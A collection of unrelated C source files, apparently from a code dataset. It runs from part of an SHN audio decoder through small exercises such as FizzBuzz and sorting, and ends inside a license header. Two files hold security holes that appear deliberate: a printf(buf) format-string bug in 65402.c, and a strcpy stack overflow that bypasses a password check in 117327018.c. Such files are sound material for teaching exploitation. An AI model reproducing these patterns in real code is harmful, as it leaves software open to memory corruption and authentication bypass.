BAIL_IF_MACRO(u32 != dataID, "SHN: No 'data' header.", 0);
BAIL_IF_MACRO(!verb_ReadLE32(shn, rw, &u32), NULL, 0); /* chunksize */
return(1);
} /* parse_riff_header */
static int SHN_open(Sound_Sample *sample, const char *ext)
{
Sound_SampleInternal *internal = (Sound_SampleInternal *) sample->opaque;
SDL_RWops *rw = internal->rw;
shn_t _shn;
shn_t *shn = &_shn; /* malloc and copy later. */
Sint32 cmd;
Sint32 chan;
memset(shn, '\0', sizeof (shn_t));
shn->getbufp = shn->getbuf = (Uint8 *) malloc(SHN_BUFSIZ);
shn->datatype = SHN_TYPE_EOF;
shn->nchan = DEFAULT_NCHAN;
shn->blocksize = DEFAULT_BLOCK_SIZE;
shn->maxnlpc = DEFAULT_MAXNLPC;
shn->nmean = UNDEFINED_UINT;
shn->version = determine_shn_version(sample, ext);
if (shn->version == -1) goto shn_open_puke;
if (!uint_get(SHN_TYPESIZE, shn, rw, &shn->datatype)) goto shn_open_puke;
if (!uint_get(SHN_CHANNELSIZE, shn, rw, &shn->nchan)) goto shn_open_puke;
sample->actual.format = cvt_shnftype_to_sdlfmt(shn->datatype);
if (sample->actual.format == 0)
{
SDL_SetError(ERR_UNSUPPORTED_FORMAT);
goto shn_open_puke;
} /* if */
if (shn->version > 0)
{
int rc = uint_get((int) (log((double) DEFAULT_BLOCK_SIZE) / M_LN2),
shn, rw, &shn->blocksize);
if (!rc) goto shn_open_puke;;
if (!uint_get(SHN_LPCQSIZE, shn, rw, &shn->maxnlpc)) goto shn_open_puke;
if (!uint_get(0, shn, rw, &shn->nmean)) goto shn_open_puke;
if (!skip_bits(shn, rw)) goto shn_open_puke;
} /* else */
shn->nwrap = (shn->maxnlpc > 3) ? shn->maxnlpc : 3;
/* grab some space for the input buffer */
shn->buffer = shn_long2d((Uint32) shn->nchan, shn->blocksize + shn->nwrap);
shn->offset = shn_long2d((Uint32) shn->nchan, MAX_MACRO(1, shn->nmean));
for (chan = 0; chan < shn->nchan; chan++)
{
int i;
for(i = 0; i < shn->nwrap; i++)
shn->buffer[chan][i] = 0;
shn->buffer[chan] += shn->nwrap;
} /* for */
if (shn->maxnlpc > 0)
{
shn->qlpc = (int *) malloc((Uint32) (shn->maxnlpc * sizeof (Sint32)));
if (shn->qlpc == NULL)
{
__Sound_SetError(ERR_OUT_OF_MEMORY);
goto shn_open_puke;
} /* if */
} /* if */
if (shn->version > 1)
shn->lpcqoffset = SHN_LPCQOFFSET_VER2;
init_shn_offset(shn->offset, shn->nchan,
MAX_MACRO(1, shn->nmean), shn->datatype);
if ( (!uvar_get(SHN_FNSIZE, shn, rw, &cmd)) ||
(cmd != SHN_FN_VERBATIM) ||
(!parse_riff_header(shn, sample)) )
{
if (cmd != SHN_FN_VERBATIM) /* the other conditions set error state */
__Sound_SetError("SHN: Expected VERBATIM function");
goto shn_open_puke;
return(0);
} /* if */
shn->start_pos = SDL_RWtell(rw);
shn = (shn_t *) malloc(sizeof (shn_t));
if (shn == NULL)
{
__Sound_SetError(ERR_OUT_OF_MEMORY);
goto shn_open_puke;
} /* if */
memcpy(shn, &_shn, sizeof (shn_t));
internal->decoder_private = shn;
SNDDBG(("SHN: Accepting data stream.\n"));
sample->flags = SOUND_SAMPLEFLAG_NONE;
return(1); /* we'll handle this data. */
shn_open_puke:
if (_shn.getbuf)
free(_shn.getbuf);
if (_shn.buffer != NULL)
free(_shn.buffer);
if (_shn.offset != NULL)
free(_shn.offset);
if (_shn.qlpc != NULL)
free(_shn.qlpc);
return(0);
} /* SHN_open */
static void fix_bitshift(Sint32 *buffer, int nitem, int bitshift, int ftype)
{
int i;
if (ftype == SHN_TYPE_AU1)
{
for (i = 0; i < nitem; i++)
buffer[i] = ulaw_outward[bitshift][buffer[i] + 128];
} /* if */
else if (ftype == SHN_TYPE_AU2)
{
for(i = 0; i < nitem; i++)
{
if (buffer[i] >= 0)
buffer[i] = ulaw_outward[bitshift][buffer[i] + 128];
else if (buffer[i] == -1)
buffer[i] = NEGATIVE_ULAW_ZERO;
else
buffer[i] = ulaw_outward[bitshift][buffer[i] + 129];
} /* for */
} /* else if */
else
{
if (bitshift != 0)
{
for(i = 0; i < nitem; i++)
buffer[i] <<= bitshift;
} /* if */
} /* else */
} /* fix_bitshift */
static void SHN_close(Sound_Sample *sample)
{
Sound_SampleInternal *internal = (Sound_SampleInternal *) sample->opaque;
shn_t *shn = (shn_t *) internal->decoder_private;
if (shn->qlpc != NULL)
free(shn->qlpc);
if (shn->backBuffer != NULL)
free(shn->backBuffer);
if (shn->offset != NULL)
free(shn->offset);
if (shn->buffer != NULL)
free(shn->buffer);
if (shn->getbuf != NULL)
free(shn->getbuf);
free(shn);
} /* SHN_close */
/* xLaw conversions... */
/* adapted by ajr for int input */
static Uint8 Slinear2ulaw(int sample)
{
/*
** This routine converts from linear to ulaw.
**
** Craig Reese: IDA/Supercomputing Research Center
** Joe Campbell: Department of Defense
** 29 September 1989
**
** References:
** 1) CCITT Recommendation G.711 (very difficult to follow)
** 2) "A New Digital Technique for Implementation of Any
** Continuous PCM Companding Law," Villeret, Michel,
** et al. 1973 IEEE Int. Conf. on Communications, Vol 1,
** 1973, pg. 11.12-11.17
** 3) MIL-STD-188-113,"Interoperability and Performance Standards
** for Analog-to_Digital Conversion Techniques,"
** 17 February 1987
**
** Input: Signed 16 bit linear sample
** Output: 8 bit ulaw sample
*/
#define BIAS 0x84 /* define the add-in bias for 16 bit samples */
#define CLIP 32635
int sign, exponent, mantissa;
Uint8 ulawbyte;
static const int exp_lut[256] = {0,0,1,1,2,2,2,2,3,3,3,3,3,3,3,3,
4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,
5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,
6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7};
/* Get the sample into sign-magnitude. */
if (sample >= 0)
sign = 0;
else
{
sign = 0x80;
sample = -sample;
} /* else */
/* clip the magnitude */
if (sample > CLIP)
sample = CLIP;
/* Convert from 16 bit linear to ulaw. */
sample = sample + BIAS;
exponent = exp_lut[( sample >> 7 ) & 0xFF];
mantissa = (sample >> (exponent + 3)) & 0x0F;
ulawbyte = ~(sign | (exponent << 4) | mantissa);
return(ulawbyte);
} /* Slinear2ulaw */
/* this is derived from the Sun code - it is a bit simpler and has int input */
#define QUANT_MASK (0xf) /* Quantization field mask. */
#define NSEGS (8) /* Number of A-law segments. */
#define SEG_SHIFT (4) /* Left shift for segment number. */
static Uint8 Slinear2alaw(Sint32 linear)
{
int seg;
Uint8 aval, mask;
static const Sint32 seg_aend[NSEGS] =
{
0x1f,0x3f,0x7f,0xff,0x1ff,0x3ff,0x7ff,0xfff
};
linear >>= 3;
if(linear >= 0)
mask = 0xd5; /* sign (7th) bit = 1 */
else
{
mask = 0x55; /* sign bit = 0 */
linear = -linear - 1;
} /* else */
/* Convert the scaled magnitude to segment number. */
for (seg = 0; (seg < NSEGS) && (linear > seg_aend[seg]); seg++);
/* Combine the sign, segment, and quantization bits. */
if (seg >= NSEGS) /* out of range, return maximum value. */
return((Uint8) (0x7F ^ mask));
aval = (Uint8) seg << SEG_SHIFT;
if (seg < 2)
aval |= (linear >> 1) & QUANT_MASK;
else
aval |= (linear >> seg) & QUANT_MASK;
return (aval ^ mask);
} /* Slinear2alaw */
/* convert from signed ints to a given type and write */
static Uint32 put_to_buffers(Sound_Sample *sample, Uint32 bw)
{
Sound_SampleInternal *internal = (Sound_SampleInternal *) sample->opaque;
shn_t *shn = (shn_t *) internal->decoder_private;
int i, chan;
Sint32 *data0 = shn->buffer[0];
Sint32 nitem = shn->blocksize;
int datasize = ((sample->actual.format & 0xFF) / 8);
Uint32 bsiz = shn->nchan * nitem * datasize;
assert(shn->backBufLeft == 0);
if (shn->backBufferSize < bsiz)
{
void *rc = realloc(shn->backBuffer, bsiz);
if (rc == NULL)
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
BAIL_MACRO(ERR_OUT_OF_MEMORY, 0);
} /* if */
shn->backBuffer = (Uint8 *) rc;
shn->backBufferSize = bsiz;
} /* if */
switch (shn->datatype)
{
case SHN_TYPE_AU1: /* leave the conversion to fix_bitshift() */
case SHN_TYPE_AU2:
{
Uint8 *writebufp = shn->backBuffer;
if (shn->nchan == 1)
{
for (i = 0; i < nitem; i++)
*writebufp++ = data0[i];
} /* if */
else
{
for (i = 0; i < nitem; i++)
{
for (chan = 0; chan < shn->nchan; chan++)
*writebufp++ = shn->buffer[chan][i];
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_U8:
{
Uint8 *writebufp = shn->backBuffer;
if (shn->nchan == 1)
{
for (i = 0; i < nitem; i++)
*writebufp++ = CAPMAXUCHAR(data0[i]);
} /* if */
else
{
for (i = 0; i < nitem; i++)
{
for (chan = 0; chan < shn->nchan; chan++)
*writebufp++ = CAPMAXUCHAR(shn->buffer[chan][i]);
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_S8:
{
Sint8 *writebufp = (Sint8 *) shn->backBuffer;
if (shn->nchan == 1)
{
for(i = 0; i < nitem; i++)
*writebufp++ = CAPMAXSCHAR(data0[i]);
} /* if */
else
{
for(i = 0; i < nitem; i++)
{
for(chan = 0; chan < shn->nchan; chan++)
*writebufp++ = CAPMAXSCHAR(shn->buffer[chan][i]);
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_S16HL:
case SHN_TYPE_S16LH:
{
Sint16 *writebufp = (Sint16 *) shn->backBuffer;
if (shn->nchan == 1)
{
for (i = 0; i < nitem; i++)
*writebufp++ = CAPMAXSHORT(data0[i]);
} /* if */
else
{
for (i = 0; i < nitem; i++)
{
for (chan = 0; chan < shn->nchan; chan++)
*writebufp++ = CAPMAXSHORT(shn->buffer[chan][i]);
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_U16HL:
case SHN_TYPE_U16LH:
{
Uint16 *writebufp = (Uint16 *) shn->backBuffer;
if (shn->nchan == 1)
{
for (i = 0; i < nitem; i++)
*writebufp++ = CAPMAXUSHORT(data0[i]);
} /* if */
else
{
for (i = 0; i < nitem; i++)
{
for (chan = 0; chan < shn->nchan; chan++)
*writebufp++ = CAPMAXUSHORT(shn->buffer[chan][i]);
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_ULAW:
{
Uint8 *writebufp = shn->backBuffer;
if (shn->nchan == 1)
{
for(i = 0; i < nitem; i++)
*writebufp++ = Slinear2ulaw(CAPMAXSHORT((data0[i] << 3)));
} /* if */
else
{
for(i = 0; i < nitem; i++)
{
for(chan = 0; chan < shn->nchan; chan++)
*writebufp++ = Slinear2ulaw(CAPMAXSHORT((shn->buffer[chan][i] << 3)));
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_AU3:
{
Uint8 *writebufp = shn->backBuffer;
if (shn->nchan == 1)
{
for (i = 0; i < nitem; i++)
if(data0[i] < 0)
*writebufp++ = (127 - data0[i]) ^ 0xd5;
else
*writebufp++ = (data0[i] + 128) ^ 0x55;
} /* if */
else
{
for (i = 0; i < nitem; i++)
{
for (chan = 0; chan < shn->nchan; chan++)
{
if (shn->buffer[chan][i] < 0)
*writebufp++ = (127 - shn->buffer[chan][i]) ^ 0xd5;
else
*writebufp++ = (shn->buffer[chan][i] + 128) ^ 0x55;
} /* for */
} /* for */
} /* else */
} /* case */
break;
case SHN_TYPE_ALAW:
{
Uint8 *writebufp = shn->backBuffer;
if (shn->nchan == 1)
{
for (i = 0; i < nitem; i++)
*writebufp++ = Slinear2alaw(CAPMAXSHORT((data0[i] << 3)));
} /* if */
else
{
for (i = 0; i < nitem; i++)
{
for(chan = 0; chan < shn->nchan; chan++)
*writebufp++ = Slinear2alaw(CAPMAXSHORT((shn->buffer[chan][i] << 3)));
} /* for */
}/* else */
} /* case */
break;
} /* switch */
i = MIN_MACRO(internal->buffer_size - bw, bsiz);
memcpy((char *)internal->buffer + bw, shn->backBuffer, i);
shn->backBufLeft = bsiz - i;
memcpy(shn->backBuffer, shn->backBuffer + i, shn->backBufLeft);
return(i);
} /* put_to_buffers */
#define ROUNDEDSHIFTDOWN(x, n) (((n) == 0) ? (x) : ((x) >> ((n) - 1)) >> 1)
static Uint32 SHN_read(Sound_Sample *sample)
{
Uint32 retval = 0;
Sint32 chan = 0;
Sound_SampleInternal *internal = (Sound_SampleInternal *) sample->opaque;
SDL_RWops *rw = internal->rw;
shn_t *shn = (shn_t *) internal->decoder_private;
Sint32 cmd;
/* see if there are leftovers to copy... */
if (shn->backBufLeft > 0)
{
retval = MIN_MACRO(shn->backBufLeft, internal->buffer_size);
memcpy(internal->buffer, shn->backBuffer, retval);
shn->backBufLeft -= retval;
memcpy(shn->backBuffer, shn->backBuffer + retval, shn->backBufLeft);
} /* if */
assert((shn->backBufLeft == 0) || (retval == internal->buffer_size));
/* get commands from file and execute them */
while (retval < internal->buffer_size)
{
if (!uvar_get(SHN_FNSIZE, shn, rw, &cmd))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
if (cmd == SHN_FN_QUIT)
{
sample->flags |= SOUND_SAMPLEFLAG_EOF;
return(retval);
} /* if */
switch(cmd)
{
case SHN_FN_ZERO:
case SHN_FN_DIFF0:
case SHN_FN_DIFF1:
case SHN_FN_DIFF2:
case SHN_FN_DIFF3:
case SHN_FN_QLPC:
{
Sint32 i;
Sint32 coffset, *cbuffer = shn->buffer[chan];
Sint32 resn = 0, nlpc, j;
if (cmd != SHN_FN_ZERO)
{
if (!uvar_get(SHN_ENERGYSIZE, shn, rw, &resn))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
/* version 0 differed in definition of var_get */
if (shn->version == 0)
resn--;
} /* if */
/* find mean offset : N.B. this code duplicated */
if (shn->nmean == 0)
coffset = shn->offset[chan][0];
else
{
Sint32 sum = (shn->version < 2) ? 0 : shn->nmean / 2;
for (i = 0; i < shn->nmean; i++)
sum += shn->offset[chan][i];
if (shn->version < 2)
coffset = sum / shn->nmean;
else
coffset = ROUNDEDSHIFTDOWN(sum / shn->nmean, shn->bitshift);
} /* else */
switch (cmd)
{
case SHN_FN_ZERO:
for (i = 0; i < shn->blocksize; i++)
cbuffer[i] = 0;
break;
case SHN_FN_DIFF0:
for(i = 0; i < shn->blocksize; i++)
{
if (!var_get(resn, shn, rw, &cbuffer[i]))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
cbuffer[i] += coffset;
} /* for */
break;
case SHN_FN_DIFF1:
for(i = 0; i < shn->blocksize; i++)
{
if (!var_get(resn, shn, rw, &cbuffer[i]))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
cbuffer[i] += cbuffer[i - 1];
} /* for */
break;
case SHN_FN_DIFF2:
for (i = 0; i < shn->blocksize; i++)
{
if (!var_get(resn, shn, rw, &cbuffer[i]))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
cbuffer[i] += (2 * cbuffer[i-1] - cbuffer[i-2]);
} /* for */
break;
case SHN_FN_DIFF3:
for (i = 0; i < shn->blocksize; i++)
{
if (!var_get(resn, shn, rw, &cbuffer[i]))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
cbuffer[i] += 3 * (cbuffer[i - 1] - cbuffer[i - 2]) + cbuffer[i - 3];
} /* for */
break;
case SHN_FN_QLPC:
if (!uvar_get(SHN_LPCQSIZE, shn, rw, &nlpc))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
for(i = 0; i < nlpc; i++)
{
if (!var_get(SHN_LPCQUANT, shn, rw, &shn->qlpc[i]))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
} /* for */
for(i = 0; i < nlpc; i++)
cbuffer[i - nlpc] -= coffset;
for(i = 0; i < shn->blocksize; i++)
{
Sint32 sum = shn->lpcqoffset;
for(j = 0; j < nlpc; j++)
sum += shn->qlpc[j] * cbuffer[i - j - 1];
if (!var_get(resn, shn, rw, &cbuffer[i]))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
cbuffer[i] += (sum >> SHN_LPCQUANT);
} /* for */
if (coffset != 0)
{
for(i = 0; i < shn->blocksize; i++)
cbuffer[i] += coffset;
} /* if */
break;
} /* switch */
/* store mean value if appropriate : N.B. Duplicated code */
if (shn->nmean > 0)
{
Sint32 sum = (shn->version < 2) ? 0 : shn->blocksize / 2;
for (i = 0; i < shn->blocksize; i++)
sum += cbuffer[i];
for(i = 1; i < shn->nmean; i++)
shn->offset[chan][i - 1] = shn->offset[chan][i];
if (shn->version < 2)
shn->offset[chan][shn->nmean - 1] = sum / shn->blocksize;
else
shn->offset[chan][shn->nmean - 1] = (sum / shn->blocksize) << shn->bitshift;
} /* if */
/* do the wrap */
for(i = -shn->nwrap; i < 0; i++)
cbuffer[i] = cbuffer[i + shn->blocksize];
fix_bitshift(cbuffer, shn->blocksize, shn->bitshift, shn->datatype);
if (chan == shn->nchan - 1)
{
retval += put_to_buffers(sample, retval);
if (sample->flags & SOUND_SAMPLEFLAG_ERROR)
return(retval);
} /* if */
chan = (chan + 1) % shn->nchan;
break;
} /* case */
case SHN_FN_BLOCKSIZE:
if (!uint_get((int) (log((double) shn->blocksize) / M_LN2),
shn, rw, &shn->blocksize))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
break;
case SHN_FN_BITSHIFT:
if (!uvar_get(SHN_BITSHIFTSIZE, shn, rw, &shn->bitshift))
{
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
return(retval);
} /* if */
break;
case SHN_FN_VERBATIM:
default:
sample->flags |= SOUND_SAMPLEFLAG_ERROR;
BAIL_MACRO("SHN: Unhandled function.", retval);
} /* switch */
} /* while */
return(retval);
} /* SHN_read */
static int SHN_rewind(Sound_Sample *sample)
{
Sound_SampleInternal *internal = (Sound_SampleInternal *) sample->opaque;
#if 0
shn_t *shn = (shn_t *) internal->decoder_private;
int rc = SDL_RWseek(internal->rw, shn->start_pos, RW_SEEK_SET);
BAIL_IF_MACRO(rc != shn->start_pos, ERR_IO_ERROR, 0);
/* !!! FIXME: set state. */
return(1);
#else
/*
* !!! FIXME: This is really unacceptable; state should be reset and
* !!! FIXME: the RWops should be pointed to the start of the data
* !!! FIXME: to decode. The below kludge adds unneeded overhead and
* !!! FIXME: risk of failure.
*/
BAIL_IF_MACRO(SDL_RWseek(internal->rw, 0, RW_SEEK_SET) != 0, ERR_IO_ERROR, 0);
SHN_close(sample);
return(SHN_open(sample, "SHN"));
#endif
} /* SHN_rewind */
static int SHN_seek(Sound_Sample *sample, Uint32 ms)
{
/*
* (This CAN be done for SHNs that have a seek table at the end of the
* stream, btw.)
*/
BAIL_MACRO("SHN: Seeking not implemented", 0);
} /* SHN_seek */
#endif /* defined SOUND_SUPPORTS_SHN */
/* end of shn.c ... */
|
the_stack_data/90766772.c | /**
* Documentation
* Newlib Library: https://sourceware.org/newlib/libc.html
* <unistd> contains the file no descriptors for stdin, stdout and stderr
*/
#include <stdio.h>
#include <sys/stat.h>
int _close(int file) { return -1; }
int _fstat(int file, struct stat *st) {
st->st_mode = S_IFCHR;
return 0;
}
int _isatty(int file) { return 1; }
int _lseek(int file, int ptr, int dir) { return 0; }
// Check peripheral.c
// For _read and _write
|
the_stack_data/31388527.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
char masked_raider[] = "Alive";
char * jimmy = masked_raider;
printf("Masked raider is %s, Jimmy is %s\n", masked_raider, jimmy);
masked_raider[0] = 'D';
masked_raider[1] = 'E';
masked_raider[2] = 'A';
masked_raider[3] = 'D';
masked_raider[4] = '!';
printf("Masked raider is %s, Jimmy is %s\n", masked_raider, jimmy);
return 0;
}
|
the_stack_data/48576471.c | // code: 60
int main() { return 3 * 4 * 5; }
|
the_stack_data/184518650.c | #include <stdio.h>
int main(void)
{
int i;
for (i = 1; i <= 100; i++) {
if (i % 3 == 0 && i % 5 == 0) {
printf("Fizz, Buzz\n");
} else if (i % 3 == 0) {
printf("Fizz\n");
} else if (i % 5 == 0) {
printf("Buzz\n");
} else {
printf("%d\n", i);
}
}
#ifdef TEST
for (i = 1; i <= 100; i++) {
if (i % 3 == 0 && i % 5 == 0) {
printf("Fizz, Buzz\n");
} else if (i % 3 == 0) {
printf("Fizz\n");
} else if (i % 5 == 0) {
printf("Buzz\n");
} else {
printf("%d\n", i);
}
}
#endif
return 0;
}
|
the_stack_data/173579186.c | int test(int a, int b, int c, int d){ return a + b + c + d; } int main(){ return test(1, 2, 3, 4); }
|
the_stack_data/67951.c | #include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
char MSG_TRY[] = "try again!\n";
char MSG_TIMEOUT[] = "timeout!\n";
int main() {
char buffer[10];
int len;
int fd;
int i;
fd = open("/dev/tty", O_RDONLY | O_NONBLOCK);
// 超时5秒钟后，无论有没有数据都退出
for(i=0; i<5; i++) {
len = read(fd, buffer, 10);
if(len < 0) {
if(errno == EAGAIN) {
write(STDOUT_FILENO, MSG_TRY, strlen(MSG_TRY));
sleep(1);
} else {
perror("read error");
exit(1);
}
} else {
break;
}
}
if(i == 5) {
write(STDOUT_FILENO, MSG_TIMEOUT, strlen(MSG_TIMEOUT));
} else {
write(STDOUT_FILENO, buffer, len);
}
return 0;
} |
the_stack_data/32949417.c | // File: 8.10.c
// Author: TaoKY
#include <stdio.h>
#include <stdlib.h>
// #include <string.h>
void writeMatrix(int [][5]);
int intcmp(const void*, const void*);
void swap(int *, int *);
int main(void) {
int matrix[5][5] = {{0, }, };
for (int i = 0; i < 5; i++) {
for (int j = 0; j < 5; j++) {
scanf("%d", &matrix[i][j]);
}
}
writeMatrix(matrix);
for (int i = 0; i < 5; i++) {
for (int j = 0; j < 5; j++) {
printf("%d ", matrix[i][j]);
}
puts("");
}
return 0;
}
int intcmp(const void* a, const void* b){
return *(int*)a - *(int*)b;
}
void writeMatrix(int matrix[][5]) {
// Assuming that matrix[5][5]
// int max = 0, min[4] = {};
// int tArray[5 * 5];
int *p = matrix[0];
// memcpy(tArray, matrix, sizeof tArray);
qsort(p, 5 * 5, sizeof(*p), intcmp);
swap(&matrix[0][1], &matrix[0][4]);
swap(&matrix[0][2], &matrix[4][0]);
swap(&matrix[0][3], &matrix[4][4]);
swap(&matrix[0][3], &matrix[2][2]);
}
void swap(int *a, int *b) {
int tmp = *a; *a = *b; *b = tmp;
} |
the_stack_data/28455.c | typedef int x;
void f1(int(x));
void f1(int (*)(int));
void f2(int(y));
void f2(int);
void f3(int((*)));
void f3(int *);
void f4(int((*x)));
void f4(int *);
void f5(int((x)));
void f5(int (*)(int));
|
the_stack_data/42344.c | #include <stdio.h>
#include <string.h>
int main(){
char a[100] = "happy ";
char b[100] = "happy";
printf("String compare: %d\n",strcmp(a,b));
return 0;
} |
the_stack_data/65402.c | #include <stdio.h>
#include <unistd.h>
int main(void)
{
char buf[64];
int x = 10;
read(0, buf, sizeof(buf));
int y = 12;
printf(buf);
return x + y;
}
|
the_stack_data/104879.c | #include <stdio.h>
#include <stdlib.h>
int cif_max(long nr) {
int max=nr%10,_=max;
nr/=10;
while (nr) {
_=nr%10;
if (_>max) max=_;
nr/=10;
}
return max;
}
int nr_cif(long nr) {
int k=0;
while (nr) {
k++;
nr/=10;
}
return k;
}
void sortare(int* v, int len, int (*f)(long)) {
for (int i=0; i<len; i++) {
for (int j=i; j<len; j++) {
int r1=f(v[i]);
int r2=f(v[j]);
if (r1==r2) {
if (v[i]>v[j]) {
int aux=v[i];
v[i]=v[j];
v[j]=aux;
}
}
if (r1>r2) {
int aux=v[i];
v[i]=v[j];
v[j]=aux;
}
}
}
}
void afisare(int* v, int len) {
for (int i=0; i<len; i++) {
printf("%d;",v[i]);
}
printf("\n");
}
int main() {
int n;
scanf("%d",&n);
int v[n];
for (int i=0; i<n; i++) {
scanf("%d",&v[i]);
}
printf("cifra maxima: ");
//afisare(v,n);
sortare(v,n,cif_max);
afisare(v,n);
printf("nr. cifre: ");
sortare(v,n,nr_cif);
afisare(v,n);
}
|
the_stack_data/48574922.c | /* replace.c */
/* image mapper for mulg color tiles */
/* (c) 2000 by Till Harbaum */
#include <stdio.h>
main(int argc, char **argv) {
FILE *in, *map, *out;
int pix,r,s,c,color, cnt=0;
if(argc!=5) {
puts("usage: replace color in map out");
puts(" with color = rrggbb");
return 1;
}
sscanf(argv[1], "%x", &color);
printf("replacing color #%06x\n", color);
map = fopen(argv[2], "rb");
in = fopen(argv[3], "rb");
out = fopen(argv[4], "wb");
if((in==NULL)||(map==NULL)||(out==NULL)) {
puts("file open error");
return 1;
}
for(pix=0;pix<256;pix++) {
s = (((int)fgetc(map))<<16) + (((int)fgetc(map))<<8) + (((int)fgetc(map)));
c = (((int)fgetc(in))<<16) + (((int)fgetc(in))<<8) + (((int)fgetc(in)));
if(s==color) {
fputc(c>>16, out);
fputc(c>>8, out);
fputc(c, out);
cnt++;
} else {
fputc(s>>16, out);
fputc(s>>8, out);
fputc(s, out);
}
}
fclose(in);
fclose(map);
fclose(out);
printf("replaced %d pixels (%d%%)\n", cnt, (cnt*100)/256);
return 0;
}
|
the_stack_data/683076.c | // https://www.hackerrank.com/challenges/small-triangles-large-triangles
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
struct triangle {
int a;
int b;
int c;
};
typedef struct triangle triangle;
static int sq_area(triangle t) {
return (t.a + t.b + t.c) * (t.a + t.b - t.c) * (t.a - t.b + t.c) *
(-t.a + t.b + t.c);
}
static int cmp(const void* p, const void* q) {
return sq_area(*(const triangle*)p) - sq_area(*(const triangle*)q);
}
static void sort_by_area(triangle* tr, int n) {
qsort((void*)tr, n, sizeof(triangle), cmp);
}
int main_small_triangles_large_triangles() {
int n;
scanf("%d", &n);
triangle* tr = malloc(n * sizeof(triangle));
for (int i = 0; i < n; i++) {
scanf("%d%d%d", &tr[i].a, &tr[i].b, &tr[i].c);
}
sort_by_area(tr, n);
for (int i = 0; i < n; i++) {
printf("%d %d %d\n", tr[i].a, tr[i].b, tr[i].c);
}
return 0;
}
|
the_stack_data/117327018.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
} |
the_stack_data/85144.c | // 6. Napisz program, który wczyta liczbę rzeczywistą i
// wypisze jej pierwiastek kwadratowy.
// W wypadku podania liczby ujemnej,
// program powinien wypisać komunikat o błędzie oraz
// zakończyć działanie.
#include<stdio.h>
#include<math.h>
void podaj_liczbe(const char *prompt, double *x);
int main() {
double a, b;
podaj_liczbe("podaj liczbeliczba calkowita: ", &a);
if (a >=0){
b=sqrt(a);
printf("pierwiastek z %lf to %lf\n", a,b);
}else {
printf("! blad\n");
}
return 0;
}
void podaj_liczbe(const char * prompt, double *x){
puts(prompt);
scanf("%lf", x);
}
|
the_stack_data/43888521.c | /**************************************************************************/
/* /\/\ */
/* \ / */
/* / \ */
/* Author: Arnoud Visser, Joris van Dam, Casper Dik _ \/\/ _ */
/* University of Amsterdam | | | | */
/* Dept. of Computer Systems | | /\/\ | | */
/* Kruislaan 403, NL 1098 SJ Amsterdam | | \ / | | */
/* THE NETHERLANDS | | / \ | | */
/* | | \/\/ | | */
/* | \______/ | */
/* This software has been written for the robot course \________/ */
/* at our department. No representations are made about */
/* the suitability of this software for any purpose other /\/\ */
/* than education. \ / */
/* / \ */
/* \/\/ */
/* This file is copyright protected. */
/* Copyright (c) 1991-2022 Universiteit van Amsterdam */
/* This software or any part thereof may only be used for non-commercial */
/* research or purposes, as long as the author and University are */
/* mentioned. Commercial use without explicit prior written consent by */
/* the Universiteit van Amsterdam is strictly prohibited. This copyright */
/* notice must be included with any copy of this software or any part */
/* thereof. */
/* */
/* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS */
/* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT */
/* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR */
/* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT */
